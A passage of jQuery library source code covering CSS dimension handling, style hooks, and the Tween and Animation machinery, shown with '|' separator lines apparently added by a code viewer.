Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) :
|
|
value;
|
|
}
|
|
|
|
function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) {
|
|
var i = dimension === "width" ? 1 : 0,
|
|
extra = 0,
|
|
delta = 0;
|
|
|
|
// Adjustment may not be necessary
|
|
if ( box === ( isBorderBox ? "border" : "content" ) ) {
|
|
return 0;
|
|
}
|
|
|
|
for ( ; i < 4; i += 2 ) {
|
|
|
|
// Both box models exclude margin
|
|
if ( box === "margin" ) {
|
|
delta += jQuery.css( elem, box + cssExpand[ i ], true, styles );
|
|
}
|
|
|
|
// If we get here with a content-box, we're seeking "padding" or "border" or "margin"
|
|
if ( !isBorderBox ) {
|
|
|
|
// Add padding
|
|
delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
|
|
|
|
// For "border" or "margin", add border
|
|
if ( box !== "padding" ) {
|
|
delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
|
|
|
|
// But still keep track of it otherwise
|
|
} else {
|
|
extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
|
|
}
|
|
|
|
// If we get here with a border-box (content + padding + border), we're seeking "content" or
|
|
// "padding" or "margin"
|
|
} else {
|
|
|
|
// For "content", subtract padding
|
|
if ( box === "content" ) {
|
|
delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
|
|
}
|
|
|
|
// For "content" or "padding", subtract border
|
|
if ( box !== "margin" ) {
|
|
delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
|
|
}
|
|
}
|
|
}
|
|
|
|
// Account for positive content-box scroll gutter when requested by providing computedVal
|
|
if ( !isBorderBox && computedVal >= 0 ) {
|
|
|
|
// offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border
|
|
// Assuming integer scroll gutter, subtract the rest and round down
|
|
delta += Math.max( 0, Math.ceil(
|
|
elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
|
|
computedVal -
|
|
delta -
|
|
extra -
|
|
0.5
|
|
) );
|
|
}
|
|
|
|
return delta;
|
|
}
|
|
|
|
function getWidthOrHeight( elem, dimension, extra ) {
|
|
|
|
// Start with computed style
|
|
var styles = getStyles( elem ),
|
|
val = curCSS( elem, dimension, styles ),
|
|
isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
|
|
valueIsBorderBox = isBorderBox;
|
|
|
|
// Support: Firefox <=54
|
|
// Return a confounding non-pixel value or feign ignorance, as appropriate.
|
|
if ( rnumnonpx.test( val ) ) {
|
|
if ( !extra ) {
|
|
return val;
|
|
}
|
|
val = "auto";
|
|
}
|
|
|
|
// Check for style in case a browser which returns unreliable values
|
|
// for getComputedStyle silently falls back to the reliable elem.style
|
|
valueIsBorderBox = valueIsBorderBox &&
|
|
( support.boxSizingReliable() || val === elem.style[ dimension ] );
|
|
|
|
// Fall back to offsetWidth/offsetHeight when value is "auto"
|
|
// This happens for inline elements with no explicit setting (gh-3571)
|
|
// Support: Android <=4.1 - 4.3 only
|
|
// Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602)
|
|
if ( val === "auto" ||
|
|
!parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) {
|
|
|
|
val = elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ];
|
|
|
|
// offsetWidth/offsetHeight provide border-box values
|
|
valueIsBorderBox = true;
|
|
}
|
|
|
|
// Normalize "" and auto
|
|
val = parseFloat( val ) || 0;
|
|
|
|
// Adjust for the element's box model
|
|
return ( val +
|
|
boxModelAdjustment(
|
|
elem,
|
|
dimension,
|
|
extra || ( isBorderBox ? "border" : "content" ),
|
|
valueIsBorderBox,
|
|
styles,
|
|
|
|
// Provide the current computed size to request scroll gutter calculation (gh-3589)
|
|
val
|
|
)
|
|
) + "px";
|
|
}
|
|
|
|
jQuery.extend( {
|
|
|
|
// Add in style property hooks for overriding the default
|
|
// behavior of getting and setting a style property
|
|
cssHooks: {
|
|
opacity: {
|
|
get: function( elem, computed ) {
|
|
if ( computed ) {
|
|
|
|
// We should always get a number back from opacity
|
|
var ret = curCSS( elem, "opacity" );
|
|
return ret === "" ? "1" : ret;
|
|
}
|
|
}
|
|
}
|
|
},
|
|
|
|
// Don't automatically add "px" to these possibly-unitless properties
|
|
cssNumber: {
|
|
"animationIterationCount": true,
|
|
"columnCount": true,
|
|
"fillOpacity": true,
|
|
"flexGrow": true,
|
|
"flexShrink": true,
|
|
"fontWeight": true,
|
|
"lineHeight": true,
|
|
"opacity": true,
|
|
"order": true,
|
|
"orphans": true,
|
|
"widows": true,
|
|
"zIndex": true,
|
|
"zoom": true
|
|
},
|
|
|
|
// Add in properties whose names you wish to fix before
|
|
// setting or getting the value
|
|
cssProps: {},
|
|
|
|
// Get and set the style property on a DOM Node
|
|
style: function( elem, name, value, extra ) {
|
|
|
|
// Don't set styles on text and comment nodes
|
|
if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
|
|
return;
|
|
}
|
|
|
|
// Make sure that we're working with the right name
|
|
var ret, type, hooks,
|
|
origName = camelCase( name ),
|
|
isCustomProp = rcustomProp.test( name ),
|
|
style = elem.style;
|
|
|
|
// Make sure that we're working with the right name. We don't
|
|
// want to query the value if it is a CSS custom property
|
|
// since they are user-defined.
|
|
if ( !isCustomProp ) {
|
|
name = finalPropName( origName );
|
|
}
|
|
|
|
// Gets hook for the prefixed version, then unprefixed version
|
|
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
|
|
|
|
// Check if we're setting a value
|
|
if ( value !== undefined ) {
|
|
type = typeof value;
|
|
|
|
// Convert "+=" or "-=" to relative numbers (#7345)
|
|
if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {
|
|
value = adjustCSS( elem, name, ret );
|
|
|
|
// Fixes bug #9237
|
|
type = "number";
|
|
}
|
|
|
|
// Make sure that null and NaN values aren't set (#7116)
|
|
if ( value == null || value !== value ) {
|
|
return;
|
|
}
|
|
|
|
// If a number was passed in, add the unit (except for certain CSS properties)
|
|
if ( type === "number" ) {
|
|
value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" );
|
|
}
|
|
|
|
// background-* props affect original clone's values
|
|
if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
|
|
style[ name ] = "inherit";
|
|
}
|
|
|
|
// If a hook was provided, use that value, otherwise just set the specified value
|
|
if ( !hooks || !( "set" in hooks ) ||
|
|
( value = hooks.set( elem, value, extra ) ) !== undefined ) {
|
|
|
|
if ( isCustomProp ) {
|
|
style.setProperty( name, value );
|
|
} else {
|
|
style[ name ] = value;
|
|
}
|
|
}
|
|
|
|
} else {
|
|
|
|
// If a hook was provided get the non-computed value from there
|
|
if ( hooks && "get" in hooks &&
|
|
( ret = hooks.get( elem, false, extra ) ) !== undefined ) {
|
|
|
|
return ret;
|
|
}
|
|
|
|
// Otherwise just get the value from the style object
|
|
return style[ name ];
|
|
}
|
|
},
|
|
|
|
css: function( elem, name, extra, styles ) {
|
|
var val, num, hooks,
|
|
origName = camelCase( name ),
|
|
isCustomProp = rcustomProp.test( name );
|
|
|
|
// Make sure that we're working with the right name. We don't
|
|
// want to modify the value if it is a CSS custom property
|
|
// since they are user-defined.
|
|
if ( !isCustomProp ) {
|
|
name = finalPropName( origName );
|
|
}
|
|
|
|
// Try prefixed name followed by the unprefixed name
|
|
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
|
|
|
|
// If a hook was provided get the computed value from there
|
|
if ( hooks && "get" in hooks ) {
|
|
val = hooks.get( elem, true, extra );
|
|
}
|
|
|
|
// Otherwise, if a way to get the computed value exists, use that
|
|
if ( val === undefined ) {
|
|
val = curCSS( elem, name, styles );
|
|
}
|
|
|
|
// Convert "normal" to computed value
|
|
if ( val === "normal" && name in cssNormalTransform ) {
|
|
val = cssNormalTransform[ name ];
|
|
}
|
|
|
|
// Make numeric if forced or a qualifier was provided and val looks numeric
|
|
if ( extra === "" || extra ) {
|
|
num = parseFloat( val );
|
|
return extra === true || isFinite( num ) ? num || 0 : val;
|
|
}
|
|
|
|
return val;
|
|
}
|
|
} );
|
|
|
|
jQuery.each( [ "height", "width" ], function( i, dimension ) {
|
|
jQuery.cssHooks[ dimension ] = {
|
|
get: function( elem, computed, extra ) {
|
|
if ( computed ) {
|
|
|
|
// Certain elements can have dimension info if we invisibly show them
|
|
// but it must have a current display style that would benefit
|
|
return rdisplayswap.test( jQuery.css( elem, "display" ) ) &&
|
|
|
|
// Support: Safari 8+
|
|
// Table columns in Safari have non-zero offsetWidth & zero
|
|
// getBoundingClientRect().width unless display is changed.
|
|
// Support: IE <=11 only
|
|
// Running getBoundingClientRect on a disconnected node
|
|
// in IE throws an error.
|
|
( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?
|
|
swap( elem, cssShow, function() {
|
|
return getWidthOrHeight( elem, dimension, extra );
|
|
} ) :
|
|
getWidthOrHeight( elem, dimension, extra );
|
|
}
|
|
},
|
|
|
|
set: function( elem, value, extra ) {
|
|
var matches,
|
|
styles = getStyles( elem ),
|
|
isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
|
|
subtract = extra && boxModelAdjustment(
|
|
elem,
|
|
dimension,
|
|
extra,
|
|
isBorderBox,
|
|
styles
|
|
);
|
|
|
|
// Account for unreliable border-box dimensions by comparing offset* to computed and
|
|
// faking a content-box to get border and padding (gh-3699)
|
|
if ( isBorderBox && support.scrollboxSize() === styles.position ) {
|
|
subtract -= Math.ceil(
|
|
elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
|
|
parseFloat( styles[ dimension ] ) -
|
|
boxModelAdjustment( elem, dimension, "border", false, styles ) -
|
|
0.5
|
|
);
|
|
}
|
|
|
|
// Convert to pixels if value adjustment is needed
|
|
if ( subtract && ( matches = rcssNum.exec( value ) ) &&
|
|
( matches[ 3 ] || "px" ) !== "px" ) {
|
|
|
|
elem.style[ dimension ] = value;
|
|
value = jQuery.css( elem, dimension );
|
|
}
|
|
|
|
return setPositiveNumber( elem, value, subtract );
|
|
}
|
|
};
|
|
} );
|
|
|
|
jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,
|
|
function( elem, computed ) {
|
|
if ( computed ) {
|
|
return ( parseFloat( curCSS( elem, "marginLeft" ) ) ||
|
|
elem.getBoundingClientRect().left -
|
|
swap( elem, { marginLeft: 0 }, function() {
|
|
return elem.getBoundingClientRect().left;
|
|
} )
|
|
) + "px";
|
|
}
|
|
}
|
|
);
|
|
|
|
// These hooks are used by animate to expand properties
|
|
jQuery.each( {
|
|
margin: "",
|
|
padding: "",
|
|
border: "Width"
|
|
}, function( prefix, suffix ) {
|
|
jQuery.cssHooks[ prefix + suffix ] = {
|
|
expand: function( value ) {
|
|
var i = 0,
|
|
expanded = {},
|
|
|
|
// Assumes a single number if not a string
|
|
parts = typeof value === "string" ? value.split( " " ) : [ value ];
|
|
|
|
for ( ; i < 4; i++ ) {
|
|
expanded[ prefix + cssExpand[ i ] + suffix ] =
|
|
parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
|
|
}
|
|
|
|
return expanded;
|
|
}
|
|
};
|
|
|
|
if ( prefix !== "margin" ) {
|
|
jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
|
|
}
|
|
} );
|
|
|
|
jQuery.fn.extend( {
|
|
css: function( name, value ) {
|
|
return access( this, function( elem, name, value ) {
|
|
var styles, len,
|
|
map = {},
|
|
i = 0;
|
|
|
|
if ( Array.isArray( name ) ) {
|
|
styles = getStyles( elem );
|
|
len = name.length;
|
|
|
|
for ( ; i < len; i++ ) {
|
|
map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
|
|
}
|
|
|
|
return map;
|
|
}
|
|
|
|
return value !== undefined ?
|
|
jQuery.style( elem, name, value ) :
|
|
jQuery.css( elem, name );
|
|
}, name, value, arguments.length > 1 );
|
|
}
|
|
} );
|
|
|
|
|
|
function Tween( elem, options, prop, end, easing ) {
|
|
return new Tween.prototype.init( elem, options, prop, end, easing );
|
|
}
|
|
jQuery.Tween = Tween;
|
|
|
|
Tween.prototype = {
|
|
constructor: Tween,
|
|
init: function( elem, options, prop, end, easing, unit ) {
|
|
this.elem = elem;
|
|
this.prop = prop;
|
|
this.easing = easing || jQuery.easing._default;
|
|
this.options = options;
|
|
this.start = this.now = this.cur();
|
|
this.end = end;
|
|
this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
|
|
},
|
|
cur: function() {
|
|
var hooks = Tween.propHooks[ this.prop ];
|
|
|
|
return hooks && hooks.get ?
|
|
hooks.get( this ) :
|
|
Tween.propHooks._default.get( this );
|
|
},
|
|
run: function( percent ) {
|
|
var eased,
|
|
hooks = Tween.propHooks[ this.prop ];
|
|
|
|
if ( this.options.duration ) {
|
|
this.pos = eased = jQuery.easing[ this.easing ](
|
|
percent, this.options.duration * percent, 0, 1, this.options.duration
|
|
);
|
|
} else {
|
|
this.pos = eased = percent;
|
|
}
|
|
this.now = ( this.end - this.start ) * eased + this.start;
|
|
|
|
if ( this.options.step ) {
|
|
this.options.step.call( this.elem, this.now, this );
|
|
}
|
|
|
|
if ( hooks && hooks.set ) {
|
|
hooks.set( this );
|
|
} else {
|
|
Tween.propHooks._default.set( this );
|
|
}
|
|
return this;
|
|
}
|
|
};
|
|
|
|
Tween.prototype.init.prototype = Tween.prototype;
|
|
|
|
Tween.propHooks = {
|
|
_default: {
|
|
get: function( tween ) {
|
|
var result;
|
|
|
|
// Use a property on the element directly when it is not a DOM element,
|
|
// or when there is no matching style property that exists.
|
|
if ( tween.elem.nodeType !== 1 ||
|
|
tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {
|
|
return tween.elem[ tween.prop ];
|
|
}
|
|
|
|
// Passing an empty string as a 3rd parameter to .css will automatically
|
|
// attempt a parseFloat and fallback to a string if the parse fails.
|
|
// Simple values such as "10px" are parsed to Float;
|
|
// complex values such as "rotate(1rad)" are returned as-is.
|
|
result = jQuery.css( tween.elem, tween.prop, "" );
|
|
|
|
// Empty strings, null, undefined and "auto" are converted to 0.
|
|
return !result || result === "auto" ? 0 : result;
|
|
},
|
|
set: function( tween ) {
|
|
|
|
// Use step hook for back compat.
|
|
// Use cssHook if its there.
|
|
// Use .style if available and use plain properties where available.
|
|
if ( jQuery.fx.step[ tween.prop ] ) {
|
|
jQuery.fx.step[ tween.prop ]( tween );
|
|
} else if ( tween.elem.nodeType === 1 &&
|
|
( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null ||
|
|
jQuery.cssHooks[ tween.prop ] ) ) {
|
|
jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
|
|
} else {
|
|
tween.elem[ tween.prop ] = tween.now;
|
|
}
|
|
}
|
|
}
|
|
};
|
|
|
|
// Support: IE <=9 only
|
|
// Panic based approach to setting things on disconnected nodes
|
|
Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
|
|
set: function( tween ) {
|
|
if ( tween.elem.nodeType && tween.elem.parentNode ) {
|
|
tween.elem[ tween.prop ] = tween.now;
|
|
}
|
|
}
|
|
};
|
|
|
|
jQuery.easing = {
|
|
linear: function( p ) {
|
|
return p;
|
|
},
|
|
swing: function( p ) {
|
|
return 0.5 - Math.cos( p * Math.PI ) / 2;
|
|
},
|
|
_default: "swing"
|
|
};
|
|
|
|
jQuery.fx = Tween.prototype.init;
|
|
|
|
// Back compat <1.8 extension point
|
|
jQuery.fx.step = {};
|
|
|
|
|
|
|
|
|
|
var
|
|
fxNow, inProgress,
|
|
rfxtypes = /^(?:toggle|show|hide)$/,
|
|
rrun = /queueHooks$/;
|
|
|
|
function schedule() {
|
|
if ( inProgress ) {
|
|
if ( document.hidden === false && window.requestAnimationFrame ) {
|
|
window.requestAnimationFrame( schedule );
|
|
} else {
|
|
window.setTimeout( schedule, jQuery.fx.interval );
|
|
}
|
|
|
|
jQuery.fx.tick();
|
|
}
|
|
}
|
|
|
|
// Animations created synchronously will run synchronously
|
|
function createFxNow() {
|
|
window.setTimeout( function() {
|
|
fxNow = undefined;
|
|
} );
|
|
return ( fxNow = Date.now() );
|
|
}
|
|
|
|
// Generate parameters to create a standard animation
|
|
function genFx( type, includeWidth ) {
|
|
var which,
|
|
i = 0,
|
|
attrs = { height: type };
|
|
|
|
// If we include width, step value is 1 to do all cssExpand values,
|
|
// otherwise step value is 2 to skip over Left and Right
|
|
includeWidth = includeWidth ? 1 : 0;
|
|
for ( ; i < 4; i += 2 - includeWidth ) {
|
|
which = cssExpand[ i ];
|
|
attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
|
|
}
|
|
|
|
if ( includeWidth ) {
|
|
attrs.opacity = attrs.width = type;
|
|
}
|
|
|
|
return attrs;
|
|
}
|
|
|
|
function createTween( value, prop, animation ) {
|
|
var tween,
|
|
collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ),
|
|
index = 0,
|
|
length = collection.length;
|
|
for ( ; index < length; index++ ) {
|
|
if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {
|
|
|
|
// We're done with this property
|
|
return tween;
|
|
}
|
|
}
|
|
}
|
|
|
|
function defaultPrefilter( elem, props, opts ) {
|
|
var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,
|
|
isBox = "width" in props || "height" in props,
|
|
anim = this,
|
|
orig = {},
|
|
style = elem.style,
|
|
hidden = elem.nodeType && isHiddenWithinTree( elem ),
|
|
dataShow = dataPriv.get( elem, "fxshow" );
|
|
|
|
// Queue-skipping animations hijack the fx hooks
|
|
if ( !opts.queue ) {
|
|
hooks = jQuery._queueHooks( elem, "fx" );
|
|
if ( hooks.unqueued == null ) {
|
|
hooks.unqueued = 0;
|
|
oldfire = hooks.empty.fire;
|
|
hooks.empty.fire = function() {
|
|
if ( !hooks.unqueued ) {
|
|
oldfire();
|
|
}
|
|
};
|
|
}
|
|
hooks.unqueued++;
|
|
|
|
anim.always( function() {
|
|
|
|
// Ensure the complete handler is called before this completes
|
|
anim.always( function() {
|
|
hooks.unqueued--;
|
|
if ( !jQuery.queue( elem, "fx" ).length ) {
|
|
hooks.empty.fire();
|
|
}
|
|
} );
|
|
} );
|
|
}
|
|
|
|
// Detect show/hide animations
|
|
for ( prop in props ) {
|
|
value = props[ prop ];
|
|
if ( rfxtypes.test( value ) ) {
|
|
delete props[ prop ];
|
|
toggle = toggle || value === "toggle";
|
|
if ( value === ( hidden ? "hide" : "show" ) ) {
|
|
|
|
// Pretend to be hidden if this is a "show" and
|
|
// there is still data from a stopped show/hide
|
|
if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
|
|
hidden = true;
|
|
|
|
// Ignore all other no-op show/hide data
|
|
} else {
|
|
continue;
|
|
}
|
|
}
|
|
orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
|
|
}
|
|
}
|
|
|
|
// Bail out if this is a no-op like .hide().hide()
|
|
propTween = !jQuery.isEmptyObject( props );
|
|
if ( !propTween && jQuery.isEmptyObject( orig ) ) {
|
|
return;
|
|
}
|
|
|
|
// Restrict "overflow" and "display" styles during box animations
|
|
if ( isBox && elem.nodeType === 1 ) {
|
|
|
|
// Support: IE <=9 - 11, Edge 12 - 15
|
|
// Record all 3 overflow attributes because IE does not infer the shorthand
|
|
// from identically-valued overflowX and overflowY and Edge just mirrors
|
|
// the overflowX value there.
|
|
opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
|
|
|
|
// Identify a display type, preferring old show/hide data over the CSS cascade
|
|
restoreDisplay = dataShow && dataShow.display;
|
|
if ( restoreDisplay == null ) {
|
|
restoreDisplay = dataPriv.get( elem, "display" );
|
|
}
|
|
display = jQuery.css( elem, "display" );
|
|
if ( display === "none" ) {
|
|
if ( restoreDisplay ) {
|
|
display = restoreDisplay;
|
|
} else {
|
|
|
|
// Get nonempty value(s) by temporarily forcing visibility
|
|
showHide( [ elem ], true );
|
|
restoreDisplay = elem.style.display || restoreDisplay;
|
|
display = jQuery.css( elem, "display" );
|
|
showHide( [ elem ] );
|
|
}
|
|
}
|
|
|
|
// Animate inline elements as inline-block
|
|
if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) {
|
|
if ( jQuery.css( elem, "float" ) === "none" ) {
|
|
|
|
// Restore the original display value at the end of pure show/hide animations
|
|
if ( !propTween ) {
|
|
anim.done( function() {
|
|
style.display = restoreDisplay;
|
|
} );
|
|
if ( restoreDisplay == null ) {
|
|
display = style.display;
|
|
restoreDisplay = display === "none" ? "" : display;
|
|
}
|
|
}
|
|
style.display = "inline-block";
|
|
}
|
|
}
|
|
}
|
|
|
|
if ( opts.overflow ) {
|
|
style.overflow = "hidden";
|
|
anim.always( function() {
|
|
style.overflow = opts.overflow[ 0 ];
|
|
style.overflowX = opts.overflow[ 1 ];
|
|
style.overflowY = opts.overflow[ 2 ];
|
|
} );
|
|
}
|
|
|
|
// Implement show/hide animations
|
|
propTween = false;
|
|
for ( prop in orig ) {
|
|
|
|
// General show/hide setup for this element animation
|
|
if ( !propTween ) {
|
|
if ( dataShow ) {
|
|
if ( "hidden" in dataShow ) {
|
|
hidden = dataShow.hidden;
|
|
}
|
|
} else {
|
|
dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } );
|
|
}
|
|
|
|
// Store hidden/visible for toggle so `.stop().toggle()` "reverses"
|
|
if ( toggle ) {
|
|
dataShow.hidden = !hidden;
|
|
}
|
|
|
|
// Show elements before animating them
|
|
if ( hidden ) {
|
|
showHide( [ elem ], true );
|
|
}
|
|
|
|
/* eslint-disable no-loop-func */
|
|
|
|
anim.done( function() {
|
|
|
|
/* eslint-enable no-loop-func */
|
|
|
|
// The final step of a "hide" animation is actually hiding the element
|
|
if ( !hidden ) {
|
|
showHide( [ elem ] );
|
|
}
|
|
dataPriv.remove( elem, "fxshow" );
|
|
for ( prop in orig ) {
|
|
jQuery.style( elem, prop, orig[ prop ] );
|
|
}
|
|
} );
|
|
}
|
|
|
|
// Per-property setup
|
|
propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
|
|
if ( !( prop in dataShow ) ) {
|
|
dataShow[ prop ] = propTween.start;
|
|
if ( hidden ) {
|
|
propTween.end = propTween.start;
|
|
propTween.start = 0;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
function propFilter( props, specialEasing ) {
|
|
var index, name, easing, value, hooks;
|
|
|
|
// camelCase, specialEasing and expand cssHook pass
|
|
for ( index in props ) {
|
|
name = camelCase( index );
|
|
easing = specialEasing[ name ];
|
|
value = props[ index ];
|
|
if ( Array.isArray( value ) ) {
|
|
easing = value[ 1 ];
|
|
value = props[ index ] = value[ 0 ];
|
|
}
|
|
|
|
if ( index !== name ) {
|
|
props[ name ] = value;
|
|
delete props[ index ];
|
|
}
|
|
|
|
hooks = jQuery.cssHooks[ name ];
|
|
if ( hooks && "expand" in hooks ) {
|
|
value = hooks.expand( value );
|
|
delete props[ name ];
|
|
|
|
// Not quite $.extend, this won't overwrite existing keys.
|
|
// Reusing 'index' because we have the correct "name"
|
|
for ( index in value ) {
|
|
if ( !( index in props ) ) {
|
|
props[ index ] = value[ index ];
|
|
specialEasing[ index ] = easing;
|
|
}
|
|
}
|
|
} else {
|
|
specialEasing[ name ] = easing;
|
|
}
|
|
}
|
|
}
|
|
|
|
function Animation( elem, properties, options ) {
|
|
var result,
|
|
stopped,
|
|
index = 0,
|
|
length = Animation.prefilters.length,
|
|
deferred = jQuery.Deferred().always( function() {
|
|
|
|
// Don't match elem in the :animated selector
|
|
delete tick.elem;
|
|
} ),
|
|
tick = function() {
|
|
if ( stopped ) {
|
|
return false;
|
|
}
|
|
var currentTime = fxNow || createFxNow(),
|
|
remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
|
|
|
|
// Support: Android 2.3 only
|
|
// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)
|
|
temp = remaining / animation.duration || 0,
|
|
percent = 1 - temp,
|
|
index = 0,
|
|
length = animation.tweens.length;
|
|
|
|
for ( ; index < length; index++ ) {
|
|
animation.tweens[ index ].run( percent );
|
|
}
|
|
|
|
deferred.notifyWith( elem, [ animation, percent, remaining ] );
|
|
|
|
// If there's more to do, yield
|
|
if ( percent < 1 && length ) {
|
|
return remaining;
|
|
}
|
|
|
|
// If this was an empty animation, synthesize a final progress notification
|
|
if ( !length ) {
|
|
deferred.notifyWith( elem, [ animation, 1, 0 ] );
|
|
}
|
|
|
|
// Resolve the animation and report its conclusion
|
|
deferred.resolveWith( elem, [ animation ] );
|
|
return false;
|
|
},
|
|
animation = deferred.promise( {
|
|
elem: elem,
|
|
props: jQuery.extend( {}, properties ),
|
|
opts: jQuery.extend( true, {
|
|
specialEasing: {},
|
|
easing: jQuery.easing._default
|
|
}, options ),
|
|
originalProperties: properties,
|
|
originalOptions: options,
|
|
startTime: fxNow || createFxNow(),
|
|
duration: options.duration,
|
|
tweens: [],
|
|
createTween: function( prop, end ) {
|
|
var tween = jQuery.Tween( elem, animation.opts, prop, end,
|
|
animation.opts.specialEasing[ prop ] || animation.opts.easing );
|
|
animation.tweens.push( tween );
|
|
return tween;
|
|
},
|
|
stop: function( gotoEnd ) {
|
|
var index = 0,
|
|
|
|
// If we are going to the end, we want to run all the tweens
|
|
// otherwise we skip this part
|
|
length = gotoEnd ? animation.tweens.length : 0;
|
|
if ( stopped ) {
|
|
return this;
|
|
}
|
|
stopped = true;
|
|
for ( ; index < length; index++ ) {
|
|
animation.tweens[ index ].run( 1 );
|
|
}
|
|
|
|
// Resolve when we played the last frame; otherwise, reject
|
|
if ( gotoEnd ) {
|
|
deferred.notifyWith( elem, [ animation, 1, 0 ] );
|
|
deferred.resolveWith( elem, [ animation, gotoEnd ] );
|
|
} else {
|
|
deferred.rejectWith( elem, [ animation, gotoEnd ] );
|
|
}
|
|
return this;
|
|
}
|
|
} ),
|
|
props = animation.props;
|
|
|
|
propFilter( props, animation.opts.specialEasing );
|
|
|
|
for ( ; index < length; index++ ) {
|
|
result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );
|
|
if ( result ) {
|
|
if ( isFunction( result.stop ) ) {
|
|
jQuery._queueHooks( animation.elem, animation.opts.queue ).stop =
|
|
result.stop.bind( result );
|
|
}
|
|
return result;
|
|
}
|
|
}
|
|
|
|
jQuery.map( props, createTween, animation );
|
|
|
|
if ( isFunction( animation.opts.start ) ) {
|
|
animation.opts.start.call( elem, animation );
|
|
}
|
|
|
|
// Attach callbacks from options
|
|
animation
|
|
.progress( animation.opts.progress )
|
|
.done( animation.opts.done, animation.opts.complete )
|
|
.fail( animation.opts.fail )
|
|
.always( animation.opts.always );
|
|
|
|
jQuery.fx.timer(
|
|
jQuery.extend( tick, {
|
|
elem: elem,
|
|
anim: animation,
|
|
queue: animation.opts.queue
|
|
} )
|
|
);
|
|
|
|
return animation;
|
|
}
|
|
|
|
jQuery.Animation = jQuery.extend( Animation, {
|
|
|
|
tweeners: {
|
|
"*": [ function( prop, value ) {
|
|
var tween = this.createTween( prop, value );
|
|
adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );
|
|
return tween;
|
|
} ]
|
|
},
|
|
|
|
tweener: function( props, callback ) {
|
|
if ( isFunction( props ) ) {
|
|
callback = props;
|
|
props = [ "*" ];
|
|
} else {
|
|
props = props.match( rnothtmlwhite );
|
|
}
|
|
|
|
var prop,
|
|
index = 0,
|
|
length = props.length;
|
|
|
|
for ( ; index < length; index++ ) {
|
|
prop = props[ index ];
|
|
Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];
|
|
Animation.tweeners[ prop ].unshift( callback );
|
|
}
|
|
},
|
|
|
|
prefilters: [ defaultPrefilter ],
|
|
|
|
prefilter: function( callback, prepend ) {
|
|
if ( prepend ) {
|
|
Animation.prefilters.unshift( callback );
|
|
} else {
|
|
Animation.prefilters.push( callback );
|
|
}
|
|
}
|
|
} );
|
|
|
|
jQuery.speed = function( speed, easing, fn ) {
|
|
var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
|
|
complete: fn || !fn && easing ||
|
|
isFunction( speed ) && speed,
|
|
duration: speed,
|
|
easing: fn && easing || easing && !isFunction( easing ) && easing
|
|
};
|
|
|
|
// Go to the end state if fx are off
|
|
if ( jQuery.fx.off ) {
|
|
opt.duration = 0;
|
|
|
|
} else {
|
|
if ( typeof opt.duration !== "number" ) {
|
|
if ( opt.duration in jQuery.fx.speeds ) {
|
|
opt.duration = jQuery.fx.speeds[ opt.duration ];
|
|
|
|
} else {
|
|
opt.duration = jQuery.fx.speeds._default;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Normalize opt.queue - true/undefined/null -> "fx"
|
|
if ( opt.queue == null || opt.queue === true ) {
|
|
opt.queue = "fx";
|
|
}
|
|
|
|
// Queueing
|
|
opt.old = opt.complete;
|
|
|
|
opt.complete = function() {
|
|
if ( isFunction( opt.old ) ) {
|
|
opt.old.call( this );
|
|
}
|
|
|
|
if ( opt.queue ) {
|
|
jQuery.dequeue( this, opt.queue );
|
|
}
|
|
};
|
|
|
|
return opt;
|
|
};
|
|
|
|
jQuery.fn.extend( {
|
|
fadeTo: function( speed, to, easing, callback ) {
|
|
|
|
// Show any hidden elements after setting opacity to 0
|
|
return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show()
|
|
|
|
// Animate to the value specified
|
|
.end().animate( { opacity: to }, speed, easing, callback );
|
|
},
|
|
